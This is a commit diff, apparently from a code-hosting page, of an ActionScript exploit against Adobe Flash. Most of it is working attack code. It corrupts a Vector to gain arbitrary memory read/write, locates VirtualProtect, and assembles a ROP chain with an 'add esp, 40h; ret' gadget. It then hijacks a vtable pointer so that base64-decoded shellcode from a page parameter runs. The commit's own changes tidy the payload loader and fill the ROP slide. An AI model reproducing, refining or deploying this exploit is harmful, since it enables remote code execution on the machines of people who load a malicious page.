1
1
package
2
2
{
3
+ import mx.utils.Base64Decoder ;
3
4
import flash.display.* ;
4
5
import flash.utils.ByteArray ;
5
6
import flash.external.ExternalInterface ;
6
7
import mx.utils.Base64Decoder ;
7
8
8
9
public class Main extends Sprite
9
- {
10
+ {
10
11
private var i: int ;
11
12
private var j: int ;
12
13
@@ -36,12 +37,8 @@ package
36
37
private var junk: Array = new Array ();
37
38
private var junk_idx: int = 0 ;
38
39
39
- public static function Alert (message :String ):void {
40
- ExternalInterface . call ('debug_alert' , message );
41
- }
42
-
43
40
public static function Debug (message :String ):void {
44
- ExternalInterface . call ('debug_print ' , message );
41
+ ExternalInterface . call ('console.log ' , message );
45
42
}
46
43
47
44
public function MakeRegex (c :String ):String {
@@ -392,7 +389,7 @@ package
392
389
// TODO: we can optimise here as we know the alignment of the
393
390
// magic values.
394
391
395
- Alert (' [-] ' + region_base. toString (16 ) + ' ' + region_top. toString (16 ) + '[' + region_rtop. toString (16 ) + ']' );
392
+ Debug (' [-] ' + region_base. toString (16 ) + ' ' + region_top. toString (16 ) + '[' + region_rtop. toString (16 ) + ']' );
396
393
397
394
for (var ptr: uint = region_base; ptr < region_top - 16 ; ptr += 4 ) {
398
395
if (m. read_dword(ptr) == 0xdecafbad
@@ -409,16 +406,6 @@ package
409
406
410
407
return 0 ;
411
408
}
412
-
413
- public function GetShellcodeParam ():String {
414
- var b64: Base64Decoder = new Base64Decoder ();
415
- var payload: String = "" ;
416
- Alert ("Gonna decode" );
417
- b64. decode (LoaderInfo (this . root . loaderInfo ). parameters . sh);
418
- Alert ("Finished Decode" );
419
- payload = b64. toByteArray (). toString ();
420
- return payload;
421
- }
422
409
423
410
public function WriteShellcode (v :Vector .<uint>, i :uint , ptr :uint , fun :uint ):void {
424
411
@@ -472,12 +459,17 @@ package
472
459
v[ i++] = fun;
473
460
v[ i++] = 0x9090e0ff ; // FFE0 jmp eax
474
461
}
475
-
462
+
463
+ public function GetPayload ():String {
464
+ var b64: Base64Decoder = new Base64Decoder ();
465
+ var p: String = LoaderInfo (this . root . loaderInfo ). parameters . sh;
466
+ b64. decode (p);
467
+ var payload: String = b64. toByteArray (). toString ();
468
+ return payload;
469
+ }
470
+
476
471
public function Main () {
477
- Alert ("1" );
478
- var sh: String = GetShellcodeParam();
479
- Alert ("2" );
480
- Debug("Shellcoe: " + sh. toString ());
472
+ var payload: String = GetPayload();
481
473
482
474
i = 0 ;
483
475
@@ -488,15 +480,14 @@ package
488
480
return ;
489
481
}
490
482
491
- Alert ( 'hai' );
483
+ Debug( "Corrupting Vector" );
492
484
493
485
var v: Vector .< uint > = CorruptVector(r);
494
486
if (v == null ) {
495
487
Debug("CorruptVector returns null" );
496
488
return ;
497
489
}
498
490
499
- Alert ("Memory" );
500
491
var m: Memory = new Memory(v, v[ 0 ] , 0x6e );
501
492
502
493
// at this point we have an absolute read/write primitive letting
@@ -532,10 +523,10 @@ package
532
523
533
524
var virtual_protect: uint = p. GetImport('KERNEL32.dll' , 'VirtualProtect' );
534
525
Debug(' [-] ' + virtual_protect. toString (16 ) + ' kernel32!VirtualProtect' );
535
-
526
+
527
+ // Find this in Flash
536
528
// 81 c4 40 00 00 00 add esp, 40h
537
529
// c3 ret
538
-
539
530
var gadget_bytes: ByteArray = new ByteArray ();
540
531
gadget_bytes. length = 7 ;
541
532
gadget_bytes. writeByte (0x81 );
@@ -582,22 +573,22 @@ package
582
573
583
574
var a : uint = 0x61616161 ;
584
575
pwned. Rop(
585
- a , a , a , a , a , a , a , a , a , a , a , a , a , a , a , a ,
586
- a , a , a , a , a , a , a , a , a , a , a , a , a , a , a , a ,
587
- a , a , a , a , a , a , a , a , a , a , a , a , a , a , a , a ,
588
- a , a , a , a , a , a , a , a , a , a , a , a , a , a , a , a ,
589
- a , a , a , a , a , a , a , a , a , a , a , a , a , a , a , a ,
590
- a , a , a , a , a , a , a , a , a , a , a , a , a , a , a , a ,
591
- a , a , a , a , a , a , a , a , a , a , a , a , a , a , a , a ,
592
- a , a , a , a , a , a , a , a , a , a , a , a , a , a , a , a ,
593
- a , a , a , a , a , a , a , a , a , a , a , a , a , a , a , a ,
594
- a , a , a , a , a , a , a , a , a , a , a , a , a , a , a , a ,
595
- a , a , a , a , a , a , a , a , a , a , a , a , a , a , a , a ,
596
- a , a , a , a , a , a , a , a , a , a , a , a , a , a , a , a ,
597
- a , a , a , a , a , a , a , a , a , a , a , a , a , a , a , a ,
598
- a , a , a , a , a , a , a , a , a , a , a , a , a , a , a , a ,
599
- a , a , a , a , a , a , a , a , a , a , a , a , a , a , a , a ,
600
- a , a , a , a , a , a , a , a , a , a , a , a , a , a , a , a );
576
+ a , a , a , a , a , a , ret, ret, ret, ret, ret, ret, ret, ret, ret, ret ,
577
+ ret, ret, ret, ret, ret, ret, ret, ret, ret, ret, ret, ret, ret, ret, ret, ret ,
578
+ ret, ret, ret, ret, ret, ret, ret, ret, ret, ret, ret, ret, ret, ret, ret, ret ,
579
+ ret, ret, ret, ret, ret, ret, ret, ret, ret, ret, ret, ret, ret, ret, ret, ret ,
580
+ ret, ret, ret, ret, ret, ret, ret, ret, ret, ret, ret, ret, ret, ret, ret, ret ,
581
+ ret, ret, ret, ret, ret, ret, ret, ret, ret, ret, ret, ret, ret, ret, ret, ret ,
582
+ ret, ret, ret, ret, ret, ret, ret, ret, ret, ret, ret, ret, ret, ret, ret, ret ,
583
+ ret, ret, ret, ret, ret, ret, ret, ret, ret, ret, ret, ret, ret, ret, ret, ret ,
584
+ ret, ret, ret, ret, ret, ret, ret, ret, ret, ret, ret, ret, ret, ret, ret, ret ,
585
+ ret, ret, ret, ret, ret, ret, ret, ret, ret, ret, ret, ret, ret, ret, ret, ret ,
586
+ ret, ret, ret, ret, ret, ret, ret, ret, ret, ret, ret, ret, ret, ret, ret, ret ,
587
+ ret, ret, ret, ret, ret, ret, ret, ret, ret, ret, ret, ret, ret, ret, ret, ret ,
588
+ ret, ret, ret, ret, ret, ret, ret, ret, ret, ret, ret, ret, ret, ret, ret, ret ,
589
+ ret, ret, ret, ret, ret, ret, ret, ret, ret, ret, ret, ret, ret, ret, ret, ret ,
590
+ ret, ret, ret, ret, ret, ret, ret, ret, ret, ret, ret, ret, ret, ret, ret, ret ,
591
+ ret, ret, ret, ret, ret, ret, ret, ret, ret, ret, ret, ret, ret, ret, ret, add_esp_40h_ret );
601
592
602
593
// overwrite the method pointer
603
594
m. write_dword(vtable_ptr + 4 , add_esp_40h_ret);
0 commit comments